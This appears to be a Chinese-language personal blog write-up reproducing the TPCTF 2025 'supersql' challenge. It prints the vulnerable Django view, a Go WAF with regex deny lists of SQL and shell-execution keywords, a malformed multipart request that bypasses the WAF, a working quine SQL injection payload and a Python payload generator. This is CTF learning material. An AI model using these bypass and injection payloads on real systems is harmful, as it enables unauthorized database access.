TPCTF 2025 尝试复现

TPCTF 2025 尝试复现

supersql

考点:django 的post 表单处理,quine注入

拿到题目是在一个“Welcome to TPCTF 2025”的页面里。

dirsearch扫了一下,flag定位到/了

只能去翻源码了,看看路由在哪

然后在view看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from django.shortcuts import render
from django.db import connection

# Create your views here.
from django.http import HttpResponse,HttpRequest
from .models import AdminUser,Blog
import os

def index(request:HttpRequest):
return HttpResponse('Welcome to TPCTF 2025')

def flag(request:HttpRequest):
if request.method != 'POST':
return HttpResponse('Welcome to TPCTF 2025')
username = request.POST.get('username')
if username != 'admin':
return HttpResponse('you are not admin.')
password = request.POST.get('password')
users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
try:
assert password == users[0].password
return HttpResponse(os.environ.get('FLAG'))
except:
return HttpResponse('wrong password')

看到在flag页面有post参数

故尝试传入:
username=admin’or(1=1)#&password=password

被拦截了:
Malicious request detected

看来虽然是直接拼接,但是是有waf的
又尝试去翻源码,看到有waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
package main

import (
"bytes"
"io"
"log"
"mime"
"net/http"
"regexp"
"strings"
)

const backendURL = "http://127.0.0.1:8000"
const backendHost = "127.0.0.1:8000"

var blockedIPs = map[string]bool{
"1.1.1.1": true,
}

var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)

var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)

var hotfixPattern = regexp.MustCompile(`(?i)(select)`)

var blockedUserAgents = []string{
"sqlmap",
"nmap",
"curl",
}

func isBlockedIP(ip string) bool {
return blockedIPs[ip]
}

func isMaliciousRequest(r *http.Request) bool {
for key, values := range r.URL.Query() {
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("参数 %s=%s", key, value)
return true
}
}
}

if r.Method == http.MethodPost {
ct := r.Header.Get("Content-Type")
mediaType, _, err := mime.ParseMediaType(ct)
if err != nil {
log.Printf("解析 Content-Type 失败: %v", err)
return true
}
if mediaType == "multipart/form-data" {
if err := r.ParseMultipartForm(65535); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
} else {
if err := r.ParseForm(); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
}

for key, values := range r.PostForm {
log.Printf("POST 参数 %s=%v", key, values)
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("POST 参数 %s=%s", key, value)
return true
}

}
}
}
return false
}

func isBlockedUserAgent(userAgent string) bool {
for _, blocked := range blockedUserAgents {
if strings.Contains(strings.ToLower(userAgent), blocked) {
return true
}
}
return false
}

func reverseProxyHandler(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
if isBlockedIP(clientIP) {
http.Error(w, "Forbidden", http.StatusForbidden)
log.Printf("阻止的 IP: %s", clientIP)
return
}

bodyBytes, err := io.ReadAll(r.Body)

if err != nil {
http.Error(w, "Bad Request", http.StatusBadRequest)
return
}

r.Body = io.NopCloser(bytes.NewBuffer(bodyBytes))

if isMaliciousRequest(r) {
http.Error(w, "Malicious request detected", http.StatusForbidden)
return
}

if isBlockedUserAgent(r.UserAgent()) {
http.Error(w, "Forbidden User-Agent", http.StatusForbidden)
log.Printf("阻止的 User-Agent: %s", r.UserAgent())
return
}

proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, bytes.NewBuffer(bodyBytes))
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
proxyReq.Header = r.Header

client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}

resp, err := client.Do(proxyReq)
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
defer resp.Body.Close()

for key, values := range resp.Header {
for _, value := range values {
if key == "Location" {
value = strings.Replace(value, backendHost, r.Host, -1)
}
w.Header().Add(key, value)
}
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
}

func main() {
http.HandleFunc("/", reverseProxyHandler)
log.Println("Listen on 0.0.0.0:8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}

(感觉这个waf挺好,以后的可以利用一下)

可以看到过滤的部分:

1
2
3
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)

var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)

这个绕不过,,,

上网查wp,看到好像都是用http请求来绕过waf

源码点:

1
2
username = request.POST.get('username')
password = request.POST.get('password')

因为waf检测Content-Type的源码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if r.Method == http.MethodPost {
ct := r.Header.Get("Content-Type")
mediaType, _, err := mime.ParseMediaType(ct)
if err != nil {
return true
}
if mediaType == "multipart/form-data" {
r.ParseMultipartForm(...)
} else {
r.ParseForm() // 只解析 application/x-www-form-urlencoded
}

// 然后只检查 r.PostForm
for key, values := range r.PostForm { ... }
}

ParseForm 不会解析以下内容:

multipart 表单(multipart/form-data):比如包含文件上传的表单。

要解析这类表单,必须使用 r.ParseMultipartForm(maxMemory)。
JSON、XML 或其他非表单格式的请求体:这些需要手动读取 r.Body 并用相应解码器(如 json.Decoder)处理。

而 Django 的 request.POST 只在以下情况有数据:

Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data

源码:

1
2
username = request.POST.get('username')
password = request.POST.get('password')

所以要绕过waf的检测,请求类型就得是application/x-www-form-urlencoded以外的,
而在request.POST里只除了该请求就只能处理Content-Type: multipart/form-data
所以我们只能选择multipart/form-data来绕过

改出了以下请求报头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /flag/ HTTP/1.1
Host: 192.168.75.100:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxYzAbc123
Content-Length: 255

------WebKitFormBoundaryxYzAbc123
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryxYzAbc123
Content-Disposition: form-data;
Content-Disposition: form-data; name="password";

1'#--
------WebKitFormBoundaryxYzAbc123--

这个请求头就绕过了waf的检测,只返回了password wrong

我个人推测:
multipart 格式故意构造错误(重复 Content-Disposition),导致 Go 的 WAF 无法正确解析出 password 字段;
因此,恶意 payload 未进入 r.PostForm,WAF 的正则检查完全没触发;

那接下来是要去绕过sql,
看源码,要求输入的password和查询的结果是一样的,
源码:

1
2
3
try:
assert password == users[0].password
return HttpResponse(os.environ.get('FLAG'))

就是你输入的语句==与查询的真实密码,才会有flag。

这里学习到了新的知识,quine注入,这种注入能使得数据库返回的数据与用户输入的sql注入语句一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
我们按循序执行:
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',
CHAR(34),
CHAR(39))
,CHAR(46),
'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

内层变为
REPLACE(REPLACE('.',CHAR(34),CHAR(39)),CHAR(46),'.')

这时外层再把 . 替换为:REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")

得到:
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

这时候对比原来:
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

发现输出是与输入一样的。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /flag/ HTTP/1.1
Host: 192.168.75.100:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxYzAbc123
Content-Length: 473

------WebKitFormBoundaryxYzAbc123
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryxYzAbc123
Content-Disposition: form-data;
Content-Disposition: form-data; name="password";

1' union select 1,2,replace(replace('1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")-- ',char(34),char(39)),char(46),'1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")-- ')--
------WebKitFormBoundaryxYzAbc123--

然后也算拿到了一个脚本用来构造quine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
sql = input ("输入你的sql语句,不用写关键查询的信息  形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
if ("--+" in string):
tem = string.split("--+")[0] + base + "--+"
if ("#" in string):
tem = string.split("#")[0] + base + "#"
return tem
def patch(string,sql):
if ("--+" in string):
return sql.split("--+")[0] + string + "--+"
if ("#" in string):
return sql.split("#")[0] + string + "#"

res = patch(base.replace(".",add(sql2)),sql).replace("","").replace("'.'",'"."')

print(res)

#构造这一题:1'union select 1,2--+

# base = replace(replace('.',char(34),char(39)),char(46),'.')
# sql=1'union select 1,2,--+
# sql2 =1"union select 1,2,--+

# add(sql2)=1"union select 1,2,replace(replace('.',char(34),char(39)),char(46),'.')--+

# 1'union select 1,2,replace(replace('1"union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--+',char(34),char(39)),char(46),'1"union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--+')--+

自己尝试跟着构造了一遍,看是能看懂了,但是估计真到自己做的时候是构造不出来的。。。

学习了下面师傅的wp:
https://blog.xmcve.com/2025/03/11/TPCTF2025-Writeup/#title-19
https://xz.aliyun.com/news/17519
https://xz.aliyun.com/news/17210


TPCTF 2025 尝试复现
https://aidemofashi.github.io/2025/10/20/TPCTF2025/
作者
aidemofashi
发布于
2025年10月20日
许可协议